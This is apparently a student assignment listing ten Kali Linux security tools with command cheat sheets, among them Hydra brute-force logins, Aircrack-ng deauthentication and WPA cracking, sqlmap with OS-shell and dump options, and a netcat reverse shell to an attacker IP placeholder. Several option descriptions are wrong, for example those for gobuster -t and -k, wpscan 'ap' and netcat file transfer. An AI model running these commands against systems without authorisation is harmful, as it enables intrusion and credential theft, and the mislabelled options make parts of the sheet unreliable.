Assignment 2

Siddhartha Naik
21BRS1056
VIT Chennai

Kali Linux is a popular penetration testing and ethical hacking distribution that comes with a wide range of tools for various security testing purposes. 10 kali linux tools are as follows:

Nmap (Network Mapper):

- Description: Nmap is a powerful network scanning tool used for network discovery and vulnerability assessment.
- Example: Scan a target IP address for open ports and services.

```
nmap <target_IP>
```

Nmap Cheat Sheet:

1. **Basic Scan**:

- `nmap <target>`: Perform a basic scan on the target host.

2. **Scan specific ports**:

- `nmap -p <ports> <target>`: Scan specific ports on the target.
- Example: `nmap -p 80,443,22 192.168.1.1`

3. **Scan all ports**:

- `nmap -p- <target>`: Scan all 65,535 ports on the target.

4. **Aggressive Scan**:

- `nmap -A <target>`: Enable OS detection, version detection, script scanning, and traceroute.

5. **Fast Scan**:

- `nmap -F <target>`: Perform a faster scan by scanning the most common 100 ports.

6. **Service Version Detection**:

- `nmap -sV <target>`: Detect service versions running on open ports.

7. **Operating System Detection**:

- `nmap -O <target>`: Attempt to identify the target's operating system.

8. **Ping Scan**:

- `nmap -sn <target>`: Perform a ping scan to check host availability without port scanning.

9. **UDP Port Scan**:

- `nmap -sU <target>`: Perform a UDP port scan.

10. **Timing Options**:

- `nmap -T<0-5> <target>`: Adjust timing template (0=Paranoid, 5=Insane).

11. **Script Scanning**:

- `nmap -sC <target>`: Scan using default NSE scripts.

12. **Script Categories**:

- `nmap --script <category> <target>`: Scan using a specific NSE script category.

13. **Output to File**:

- `nmap -oN <output_file> <target>`: Save results in normal format.
- `nmap -oX <output_file> <target>`: Save results in XML format.

14. **Exclude Hosts**:

- `nmap --exclude <excluded_host> <target>`: Exclude a host from the scan.

15. **IPv6 Scan**:

- `nmap -6 <target>`: Perform an IPv6 scan.

16. **Verbose Output**:

- `nmap -v <target>`: Increase verbosity for more detailed output.

1. **Scan a Range**:
   `nmap <start_IP>-<end_IP>`: Scan a range of IP addresses.
2. **Custom Timing**:

- `nmap --min-rate <packets_per_second> --max-rate <packets_per_second> <target>`: Specify custom packet timing rates.

Hydra:

- Description: Hydra is a password cracking tool that can perform brute force and dictionary attacks.
- Example: Brute force SSH login using a wordlist:

```
hydra -l <username> -P <wordlist> ssh://<target_IP>
```

Basic Syntax:

```
hydra -l <username> -P <password_file> <target> <protocol> <options>
```

Common Options and Examples:

1. **SSH Brute Force:**

```
hydra -l <username> -P <password_file> ssh://<target_IP>
```

2. **FTP Brute Force:**

```
hydra -l <username> -P <password_file> ftp://<target_IP>
```

3. **HTTP POST Form Brute Force:**

```
hydra -l <username> -P <password_file> http-post-form "<login_URL>:<post_data>:
<failure_string>"
```

4. **RDP Brute Force:**

```
hydra -l <username> -P <password_file> rdp://<target_IP>
```

5. **MySQL Brute Force:**

```
hydra -l <username> -P <password_file> mysql://<target_IP>
```

6. **SMB Brute Force (Windows):**

```
hydra -l <username> -P <password_file> smb://<target_IP>
```

7. **Custom Port and Service:**

```
hydra -l <username> -P <password_file> -s <port> -e ns <target> <protocol>
```

8. **Dictionary Attack (No Username Specified):**

```
 hydra -P <password_file> <target> <protocol> <options>
```

9. **Brute Force with Specified Usernames List:**

```
hydra -L <usernames_file> -P <password_file> <target> <protocol> <options>
```

10. **Parallel Connections:**

```
hydra -l <username> -P <password_file> -t <threads> <target> <protocol>
<options>
```

11. **Additional Options:**

- `-o <output_file>`: Save results to a file.
- `-f`: Exit after the first valid login is found.
- `-vV`: Verbose mode, showing login attempts.
- `-I`: Show login and password combination when found.

- `-e ns`: Do not stop on invalid responses.
- `-E`: Display the password found for each login.

Aircrack-ng:

- Description: Aircrack-ng is used for assessing the security of Wi-Fi networks by cracking WEP and WPA/WPA2 keys.
- Example: Crack a WPA2-PSK key with a captured handshake file:

```
aircrack-ng -w <wordlist> -b <BSSID> <handshake_file>
```

Basic Syntax:

```
aircrack-ng <options> <capture_file>
```

Common Options and Examples:

1. **Crack WEP Key:**

```
aircrack-ng -b <BSSID> -w <wordlist> <capture_file>
```

- `-b <BSSID>`: Specify the BSSID (MAC address) of the target AP.
- `-w <wordlist>`: Use a wordlist for dictionary attack.

2. **Crack WPA/WPA2 Key (with Handshake):**

```
aircrack-ng -w <wordlist> -b <BSSID> <handshake_file>
```

- `-w <wordlist>`: Use a wordlist for dictionary attack.
- `-b <BSSID>`: Specify the BSSID (MAC address) of the target AP.
- `<handshake_file>`: Path to the captured handshake file.

3. **Crack WPA/WPA2 Key (without Handshake):**

```
aircrack-ng -w <wordlist> <capture_file>
```

- `-w <wordlist>`: Use a wordlist for dictionary attack.

- `<capture_file>`: Path to the capture file containing the handshake.

4. **View Available Networks:**

```
airodump-ng <interface>
```

- `<interface>`: Specify the wireless interface (e.g., wlan0).

5. **Capture Handshake (WPA/WPA2):**

```
airodump-ng -c <channel> -w <output_file> --bssid <BSSID> <interface>
```

- `-c <channel>`: Specify the channel of the target AP.
- `-w <output_file>`: Save the capture to an output file.
- `--bssid <BSSID>`: Specify the BSSID (MAC address) of the target AP.

6. **Deauthenticate Clients:**

```
aireplay-ng -0 0 -a <BSSID> <interface>
```

- `-0 0`: Send deauthentication frames.
- `-a <BSSID>`: Specify the BSSID (MAC address) of the target AP.
- `<interface>`: Specify the wireless interface (e.g., wlan0).

7. **Interactive Mode (Cracking Menu):**

```
aircrack-ng <capture_file>
```

- Start Aircrack-ng in interactive mode to choose options from a menu.

4. **Metasploit Framework**:
    - Description: Metasploit is a powerful framework for developing, testing, and executing exploits.
    - Example: Search for and use a specific exploit:

```
msfconsole
search <exploit_name>
```

```
use <exploit_name>
```

Metasploit is a MASSIVE tool and cannot be explained without writing an entire book about it.

John the Ripper:

- Description: John the Ripper is a password cracking tool known for its speed and support for various hash types.
- Example: Crack a Unix/Linux password hash:

```
john <hash_file>
```

Basic Syntax:

```
john [options] <file>
```

Common Options and Examples:

1. **Crack Password Hashes (Common Modes):**
   - MD5 Hash:

```
john --format=md5 <file>
```

   - SHA-1 Hash:

```
john --format=sha1 <file>
```

   - bcrypt Hash:

```
john --format=bcrypt <file>
```

2. **Wordlist Attack:**

```
john --wordlist=<wordlist_file> <file>
```

- Replace `<wordlist_file>` with the path to your wordlist.

3. **Incremental Mode:**

```
john --incremental <file>
```

4. **Specify Rules for Wordlist Attack:**

```
john --wordlist=<wordlist_file> --rules <file>
```

   - Use rules to modify words from the wordlist.

5. **Specify Specific Hash Type (Format):**

```
john --format=<format> <file>
```

   - Replace `<format>` with the desired hash format.

6. **Show Cracked Passwords:**

```
john --show <file>
```

   - Display cracked passwords from the pot file.

7. **Benchmark John's Performance:**

```
john --test
```

8. **Force a Specific Cracking Algorithm:**

```
john --force=<algorithm> <file>
```

   - Replace `<algorithm>` with the desired cracking algorithm (e.g., raw-MD5, raw-SHA1).

9. **Specify Hashes Formats in a File:**

```
john --format=dynamic --rules --stdout=8 <hash_format_file> | john -i=-
```

10. **Custom Wordlist Rules:**
    - Create custom rule files and apply them using the `--rules` option.
11. **Performance Tuning:**
    - Adjust performance-related options such as `--fork`, `--session`, and `--max-run-time` to optimize cracking speed.
12. **Incremental Mode with Character Set:**

```
john --incremental:<charset> <file>
```

    - Use a specific character set for incremental mode.
13. **External Pot File:**

```
john --pot=<pot_file> <file>
```

    - Specify an external pot file for storing cracked passwords.

Gobuster:

- Description: Gobuster is a directory and file brute-force tool used for web application testing.
- Example: Enumerate directories on a web server:

```
gobuster dir -u <target_URL> -w <wordlist>
```

Basic Syntax:

```
gobuster dir -u <target_URL> -w <wordlist> [options]
```

Common Options and Examples:

1. **Directory Brute Force:**

```
gobuster dir -u <target_URL> -w <wordlist>
```

- `-u <target_URL>`: Specify the target URL to scan.
- `-w <wordlist>`: Use a wordlist for directory/file names.

2. **File Brute Force:**

```
gobuster dir -u <target_URL> -w <wordlist> -x <extensions>
```

- `-x <extensions>`: Specify file extensions to brute force (e.g., php, html).

3. **Recursive Directory Scanning:**

```
gobuster dir -u <target_URL> -w <wordlist> -r
```

- `-r`: Enable recursive directory scanning.

4. **Use a Specific User-Agent:**

```
gobuster dir -u <target_URL> -w <wordlist> -a <user_agent>
```

- `-a <user_agent>`: Set a custom User-Agent header.

5. **Specify Extensions to Exclude:**

```
gobuster dir -u <target_URL> -w <wordlist> -e
```

- `-e`: Exclude the default list of extensions (.html, .php, .asp).

6. **Connection Timeout:**

```
gobuster dir -u <target_URL> -w <wordlist> -t <timeout>
```

- `-t <timeout>`: Set the connection timeout in seconds.

7. **Maximum Redirects to Follow:**

```
gobuster dir -u <target_URL> -w <wordlist> -k <max_redirects>
```

- `-k <max_redirects>`: Specify the maximum number of redirects to follow.

8. **Verbose Output:**

```
gobuster dir -u <target_URL> -w <wordlist> -v
```

- `-v`: Enable verbose output for detailed information.

9. **Save Results to a File:**

```
gobuster dir -u <target_URL> -w <wordlist> -o <output_file>
```

- `-o <output_file>`: Save the results to a file.

10. **Custom HTTP Headers:**

```
gobuster dir -u <target_URL> -w <wordlist> -H "Header1: Value1" -H "Header2: Value2"
```

- `-H "Header: Value"`: Include custom HTTP headers in requests.

11. **Authentication:**

```
gobuster dir -u <target_URL> -w <wordlist> -U <username> -P <password>
```

- `-U <username>`: Specify a username for HTTP authentication.
- `-P <password>`: Specify a password for HTTP authentication.

12. **Follow Redirects:**

```
gobuster dir -u <target_URL> -w <wordlist> -f
```

- `-f`: Follow redirects (status codes 301 and 302).

Wireshark:

It is a popular open-source network analysis tool that provides an in-depth look into the communication between devices and systems on a network.

1. Network Troubleshooting

By identifying the source of network congestion, tracking down misconfigured devices, or pinpointing irregular traffic patterns, Wireshark's can be in resolving problems swiftly.

2. Security Analysis

It aids in detecting suspicious traffic, such as intrusion attempts, malware infections, or unauthorized access. By examining packet contents and headers, analysts can unveil hidden threats and vulnerabilities.

3. Protocol Analysis

It decodes and displays the structure of each packet, enabling experts to validate proper protocol implementation and identify issues.

4. Performance Optimization

By monitoring traffic patterns, we can identify bandwidth hogs, optimize resource allocation, and ensure efficient data transfer.

9. **Sqlmap**:
    - Description: Sqlmap is an automatic SQL injection and database takeover tool.
    - Example: Detect and exploit SQL injection vulnerabilities:

Basic Syntax:

```
sqlmap -u <target_URL> [options]
```

Common Options and Examples:

1. **Basic Usage - Detect SQL Injection:**

```
sqlmap -u <target_URL>
```

- `-u <target_URL>`: Specify the target URL.

2. **Specify the Database Management System (DBMS):**

```
sqlmap -u <target_URL> --dbms=<dbms>
```

- `--dbms=<dbms>`: Specify the DBMS type (e.g., MySQL, PostgreSQL).

3. **Specify POST Data for Login Forms:**

```
sqlmap -u <target_URL> --data="<POST_data>"
```

- `--data="<POST_data>"` : Provide POST data for login forms.

4. **Cookie-based Session Authentication:**

```
sqlmap -u <target_URL> --cookie="<cookie_string>"
```

- `--cookie="<cookie_string>"` : Use cookies for authentication.

5. **Custom User-Agent:**

```
sqlmap -u <target_URL> --user-agent="<user_agent>"
```

- `--user-agent="<user_agent>"` : Set a custom User-Agent header.

6. **Common Options for Enumeration and Exploitation:**

- `-dbs` : Enumerate databases.
- `-tables` : Enumerate tables in a database.
- `-columns` : Enumerate columns in a table.
- `-dump` : Dump data from a table.
- `-os-shell` : Get an operating system shell on the target machine.

7. **Batch Mode and Output Options:**

```
sqlmap -u <target_URL> --batch --output-file=<output_file>
```

- `--batch` : Run in batch mode without user interaction.
- `--output-file=<output_file>` : Save results to a file.

8. **Set Delay Between Requests:**

```
sqlmap -u <target_URL> --delay=<delay_seconds>
```

- `--delay=<delay_seconds>`: Set a delay between requests to evade rate limiting.

9. **Tamper Scripts:**

```
sqlmap -u <target_URL> --tamper=<tamper_script>
```

- `--tamper=<tamper_script>`: Use tamper scripts to obfuscate payloads.

10. **Advanced Techniques:**

- Use options like `--level`, `--risk`, and `--random-agent` for advanced exploitation techniques.

11. **Load Custom Options from a File:**

```
sqlmap -r <request_file>
```

- `-r <request_file>`: Load custom options from a saved request file.

12. **Database Management (e.g., DBA Access):**

```
sqlmap -u <target_URL> --sql-shell
```

- `--sql-shell`: Open a SQL shell on the target database.

Netcat:

```
- Description: Netcat is a versatile networking utility that can be used for
banner grabbing, port scanning, and creating reverse shells.
- Example: Create a reverse shell connection:
```

```
nc -nvlp <port>
```

Basic Syntax:

```
nc [options] [hostname] [port]
```

Common Options and Examples:

1. **Connect to a Remote Host and Port:**

```
nc <hostname> <port>
```

   - `<hostname>`: The remote host to connect to.
   - `<port>`: The port to connect to on the remote host.

2. **Listen on a Specific Port:**

```
nc -l -p <port>
```

   - `-l`: Listen mode.
   - `-p <port>`: Specify the port to listen on.

3. **Send and Receive Data (Chat Mode):**

```
nc -l -p <port> | nc <hostname> <port>
```

   - In one terminal, start listening (`-l`) on a port, and in another terminal, connect to it.

4. **Banner Grabbing:**

```
nc -v <hostname> <port>
```

   - `-v`: Verbose mode, useful for banner grabbing and debugging.

5. **File Transfer (Sending):**

```
nc -l -p <port> < <file_to_send>
```

   - Receive a file from a remote host.

6. **File Transfer (Receiving):**

```
nc -w 3 <hostname> <port> < <file_to_receive>
```

   - Send a file to a remote host.

7. **Port Scanning (Connect Scan):**

```
nc -z -v -w 1 <hostname> <start_port>-<end_port>
```

   - `-z`: Specifies that nc should not send any data.
   - `-v`: Verbose mode for output.
   - `-w 1`: Set a timeout of 1 second for each connection attempt.

8. **Reverse Shell (Linux):**
   - On the attacker machine (listening):

```
nc -l -p <attacker_port> -vvv
```

   - On the victim machine (connects back):

```
nc -e /bin/sh <attacker_IP> <attacker_port>
```

     - Replace `<attacker_IP>` with the IP address of the attacker machine.

9. **Bind Shell (Linux):**
   - On the victim machine (listens):

```
nc -l -p <victim_port> -vvv -e /bin/bash
```

   - On the attacker machine (connects):

```
nc <victim_IP> <victim_port>
```

     - Replace `<victim_IP>` with the IP address of the victim machine.

10. **Check Open Ports on a Host:**

```
nc -vz <hostname> <start_port>-<end_port>
```

   - `-vz`: Verbose and check for open ports.

11. **Proxying Traffic:**

```
nc -l -p <local_port> -c "nc <target_host> <target_port>"
```

- Set up a simple proxy.

12. **Chat with a Remote Host:**

```
nc <hostname> <port>
```

- Use Netcat as a simple chat client.

WPScan

WPScan is a black-box WordPress vulnerability scanner that can help you identify security issues in WordPress websites. It's particularly useful for ethical hackers, penetration testers, and WordPress administrators looking to secure their sites.

Basic Syntax:

```
wpscan --url <target_URL> [options]
```

Common Options and Examples:

1. **Basic Scan:**

```
wpscan --url <target_URL>
```

- `--url <target_URL>`: Specify the target WordPress website URL.

2. **Enumerate Installed Plugins and Themes:**

```
wpscan --url <target_URL> --enumerate p,at
```

- `--enumerate p,at`: Enumerate installed plugins and themes.

3. **Perform a Vulnerability Scan:**

```
wpscan --url <target_URL> --enumerate vp
```

- `--enumerate vp`: Enumerate vulnerable plugins.

4. **Brute Force Usernames:**

```
wpscan --url <target_URL> --enumerate u
```

   - `--enumerate u`: Enumerate usernames.
5. **Brute Force Passwords:**

```
wpscan --url <target_URL> --passwords <password_file> --usernames
<username_file>
```

   - `--passwords <password_file>`: Provide a list of passwords to attempt.
   - `--usernames <username_file>`: Provide a list of usernames to attempt.
6. **Use Custom User-Agent:**

```
wpscan --url <target_URL> --random-agent
```

   - `--random-agent`: Use a random User-Agent for requests.
7. **Specify Login Path:**

```
wpscan --url <target_URL> --wp-content-dir <path_to_wp-content>
```

   - `--wp-content-dir <path_to_wp-content>`: Specify the path to the wp-content directory.
8. **Output Results to a File:**

```
wpscan --url <target_URL> -o <output_file>
```

   - `-o <output_file>`: Save scan results to a file.
9. **Enumerate Timthumbs:**

```
wpscan --url <target_URL> --enumerate tt
```

   - `--enumerate tt`: Enumerate TimThumb files.
10. **Brute Force XMLRPC:**

```
wpscan --url <target_URL> --enumerate ap
```

- `--enumerate ap`: Brute force the XMLRPC login.

11. **Use Tor for Requests:**

```
wpscan --url <target_URL> --proxy http://127.0.0.1:9050
```

- `--proxy http://127.0.0.1:9050`: Use Tor for anonymized requests.

12. **Update WPScan's Database:**

```
wpscan --update
```

- Update WPScan's vulnerability database.